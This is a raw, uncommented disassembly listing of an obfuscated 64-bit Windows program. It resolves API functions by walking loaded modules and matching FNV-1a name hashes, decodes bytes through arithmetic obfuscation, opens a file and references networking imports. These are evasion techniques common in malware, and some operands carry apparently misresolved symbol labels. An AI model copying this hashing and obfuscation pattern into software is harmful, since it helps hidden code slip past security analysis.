lea edx, [r9 + 0x48]
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013f37d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14013ee91
mov r11b, r9b
lea edx, [r11 + 0x44]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013f33e
mov r11b, r9b
lea edx, [r11 + 0x30]
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x1c0]
sub dil, al
sub dil, 0x50
jmp 0x14013f338
lea edx, [r9 + 0x2c]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, byte [rbp + r9 + 0x1c0]
sub dil, 0x34
add dil, dl
jmp 0x14013f3b3
lea edx, [r9 + 0x3a]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013f3b3
lea edx, [r9 + 0x3e]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013f380
lea edx, [r9 + 0x42]
mov ecx, Ordinal_27
jmp 0x14013f36d
mov r11b, r9b
lea edx, [r11 + 0x46]
mov ecx, ntohl
jmp 0x14013f32e
lea ecx, [r9 + 0x4a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 6
jmp 0x14013f31a
mov r11b, r9b
lea ecx, [r11 + 0x52]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
sub r11b, 0x4e
mov al, r8b
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r8b
add cl, r11b
mov byte [rbp + r9 + 0x1c0], cl
jmp 0x14013f2fe
lea edx, [r9 + 0x5e]
mov ecx, gethostname
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add r10, r15
jmp 0x14013f31a
lea edx, [r9 + 0x62]
mov ecx, r14d
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
sub r9, r15
jmp 0x14013f436
mov r11b, r9b
lea edx, [r11 + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
sub r11b, 0x52
mov al, r8b
and al, r11b
mov ecx, Ordinal_33
sub cl, al
add cl, cl
add cl, r8b
add cl, dil
add cl, r11b
mov byte [rbp + r9 + 0x1c0], cl
jmp 0x14013f37d
lea edx, [r9 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013f436
movabs rcx, 0x793e2267011fc072
add rcx, r9
mov r8b, dl
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1e
mov dl, r9b
sub dl, sil
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x1c0], al
add r10, r15
add rax, r10
sub r9, rax
lea ecx, [r9 + 0x28]
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x1c0], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14013f427
movabs rcx, 0x588857e3007b527a
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, sil
movzx eax, byte [rbp + r9 + 0x1c0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14013ea2d
add r9b, 0x76
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x3a
jmp 0x14013ea24
add r9b, 0x7a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, sil
jmp 0x14013ea14
lea rcx, [rbp + 0x15e7a68]
jmp 0x14013f48e
lea rcx, [rbp + 0x8795e6]
jmp 0x14013f48e
lea rcx, [rbp + 0x1c0]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x1401400f0
mov rdx, qword [0x140319e10]
test rdx, rdx
jne 0x14013f61e
mov edi, r12d
mov esi, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, r13w
test edi, edi
je 0x14013f532
psrldq xmm0, 8
movq rdx, xmm0
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
jmp 0x14013f524
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14013f513
cmp r8d, edi
jne 0x14013f609
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x14013f609
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14013f609
mov r14d, dword [r11 + 0x20]
dec ebx
lea r8, [r14 + rbx*4]
mov r10d, dword [r8 + r9]
add r10, r9
mov r8d, 0x811c9dc5
jmp 0x14013f587
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r10]
add r10, r15
test dl, dl
jne 0x14013f57a
cmp r8d, esi
je 0x14013f59c
test ebx, ebx
jne 0x14013f565
jmp 0x14013f609
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x14013f611
lea rax, [r11 + rcx]
cmp rdx, rax
jae 0x14013f611
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14013f5dc
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013f5ce
jmp 0x14013f5ef
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x14013f5e4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14013f4e7
mov qword [0x140319e10], rdx
mov r13d, 0xcded1a85
mov ecx, 0x99
call rdx
mov rbx, qword [0x140319e48]
test rbx, rbx
jne 0x14013f783
mov edi, r12d
mov esi, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14013f69b
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013f68e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013f67f
cmp edx, edi
jne 0x14013f764
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013f764
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013f764
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013f6ef
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013f6e4
cmp edx, esi
je 0x14013f704
test r11d, r11d
jne 0x14013f6cf
jmp 0x14013f764
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14013f77c
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x14013f77c
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14013f745
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14013f737
jmp 0x14013f758
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14013f74d
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013f779
cmp qword [rax + 0x30], r12
jne 0x14013f654
mov rbx, r12
mov qword [0x140319e48], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x140319e40]
test rdx, rdx
jne 0x14013f8ee
mov edi, r12d
mov esi, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14013f806
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013f7f9
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013f7ea
cmp edx, edi
jne 0x14013f8cf
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013f8cf
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013f8cf
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013f85a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013f84f
cmp edx, esi
je 0x14013f86f
test r11d, r11d
jne 0x14013f83a
jmp 0x14013f8cf
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013f8e7
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14013f8e7
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14013f8b0
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013f8a2
jmp 0x14013f8c3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013f8b8
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013f8e4
cmp qword [rax + 0x30], r12
jne 0x14013f7bf
mov rdx, r12
mov qword [0x140319e40], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e38]
test rdx, rdx
jne 0x14013fa50
mov edi, r12d
mov esi, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14013f968
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013f95b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013f94c
cmp edx, edi
jne 0x14013fa31
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013fa31
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013fa31
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013f9bc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013f9b1
cmp edx, esi
je 0x14013f9d1
test r11d, r11d
jne 0x14013f99c
jmp 0x14013fa31
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013fa49
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14013fa49
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14013fa12
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013fa04
jmp 0x14013fa25
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013fa1a
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013fa46
cmp qword [rax + 0x30], r12
jne 0x14013f921
mov rdx, r12
mov qword [0x140319e38], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e30]
test rdx, rdx
jne 0x14013fbb2
mov edi, r12d
mov esi, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14013faca
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013fabd
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013faae
cmp edx, edi
jne 0x14013fb93
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013fb93
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013fb93
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013fb1e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013fb13
cmp edx, esi
je 0x14013fb33
test r11d, r11d
jne 0x14013fafe
jmp 0x14013fb93
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013fbab
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14013fbab
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14013fb74
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013fb66
jmp 0x14013fb87
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013fb7c
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013fba8
cmp qword [rax + 0x30], r12
jne 0x14013fa83
mov rdx, r12
mov qword [0x140319e30], rdx
xor ecx, ecx
call rdx
cmp qword [0x140319e28], r12
jne 0x14013fd13
mov edi, r12d
mov esi, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14013fc29
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013fc1c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013fc0d
cmp edx, edi
jne 0x14013fcf4
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14013fcf4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14013fcf4
mov r14d, dword [r11 + 0x20]
dec r9d
lea rdx, [r14 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14013fc7d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013fc72
cmp edx, esi
je 0x14013fc92
test r9d, r9d
jne 0x14013fc5d
jmp 0x14013fcf4
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14013fd0c
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14013fd0c
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14013fcd3
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14013fcc5
jmp 0x14013fce7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14013fcdc
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013fd09
cmp qword [rax + 0x30], r12
jne 0x14013fbe2
mov r9, r12
mov qword [0x140319e28], r9
mov r8, qword [0x140319e58]
test r8, r8
jne 0x14013fd87
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14013fd6c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14013fd50
cmp edx, 0x610c0de3
je 0x14013fdd8
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x14013fd7d
cmp qword [rax + 0x30], r12
jne 0x14013fd36
mov r8, r12
mov qword [0x140319e58], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
mov r10d, r12d
mov r11d, dword [r9 + r8 + 0x20]
mov eax, r10d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
inc rdx
test al, al
je 0x14013fdd3
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x14013fdb7
cmp ecx, 0xe463da3c
je 0x14013fdde
inc r10d
jmp 0x14013fd9b
mov r8, qword [r8 + 0x30]
jmp 0x14013fd80
mov edx, dword [r9 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + r8 + 0x24]
add rcx, r8
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1403192c0]
test r10, r10
jne 0x14013ff60
xor edi, edi
mov esi, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14013fe77
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013fe6a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013fe5b
cmp edx, edi
jne 0x14013ff40
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14013ff40
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14013ff40
mov r14d, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + r14]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013fecb
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013fec0
cmp edx, esi
je 0x14013fee0
test r10d, r10d
jne 0x14013feab
jmp 0x14013ff40
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14013ff59
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14013ff59
mov edi, 0x811c9dc5
mov esi, edi
jmp 0x14013ff1f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14013ff11
jmp 0x14013ff33
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14013ff28
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013ff56
cmp qword [rax + 0x30], 0
jne 0x14013fe30
xor r10d, r10d
mov qword [0x1403192c0], r10
lea r9, [rbp + 0x21c]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x140319e50]
test r8, r8
jne 0x1401400d6
xor edi, edi
mov esi, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14013ffed
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013ffe0
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013ffd1
cmp edx, edi
jne 0x1401400b6
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401400b6
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401400b6
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r14]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140140041
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140140036
cmp edx, esi
je 0x140140056
test r11d, r11d
jne 0x140140021
jmp 0x1401400b6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x1401400cf
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x1401400cf
mov edi, 0x811c9dc5
mov esi, edi
jmp 0x140140095
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140140087
jmp 0x1401400a9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x14014009e
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1401400cc
cmp qword [rax + 0x30], 0
jne 0x14013ffa6
xor r8d, r8d
mov qword [0x140319e50], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
xor r12d, r12d
mov byte [rbp + 0x1a0], WSAStartup
mov byte [rbp + 0x1a1], Ordinal_41
mov byte [rbp + 0x1a2], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1a3], Ordinal_60
mov byte [rbp + 0x1a4], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x1a5], 0xb5
xor eax, eax
mov qword [rbp + 0x1a6], rax
mov dword [rbp + 0x1ae], eax
mov byte [rbp + 0x1b2], al
mov dil, byte [rsp + 0x40]
call fcn.1400a1a30
mov rbx, qword [rax]
call fcn.1400a1a40
mov r10, qword [rax]
mov r15d, Ordinal_27
mov r9, r12
cmp r9, 0x13
jae 0x140140b09
movzx r8d, byte [rbp + r9 + 0x1a0]
mov rdx, r8
cmp rbx, r9
ja 0x140140b00
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140140198
movabs rcx, 0xc5c38671a74c6ac8
add rcx, r9
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x78
jmp 0x1401401c5
je 0x140140a8e
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140140a40
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140140a14
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401409fa
mov esi, 8
lea r14d, [rsi + 0x30]
cmp r10, r9
ja 0x140140af7
lea rax, [r10 + 0x61]
cmp rbx, rax
jae 0x1401401fb
lea edx, [r9 + 0x68]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014023c
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401409b3
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140140998
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14014097c
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140140934
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14014091a
mov dl, 0x68
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401406b1
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401406a5
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140140688
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14014066e
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140140731
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140140654
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14014063a
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14014061d
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140140603
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401405e9
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140140adc
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140140ac1
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x14014040f
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x1401403f6
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401403db
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x14014059c
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14014055a
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x140140518
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1401404f2
lea rbx, [r10 + 0x41]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1401404d8
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1401404be
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x1401404a1
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140140487
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x140140471
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140140453
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140140445
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140140429
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x14014024b
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x28]
jmp 0x14014024b
mov cl, r9b
sub cl, dl
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x14014023e
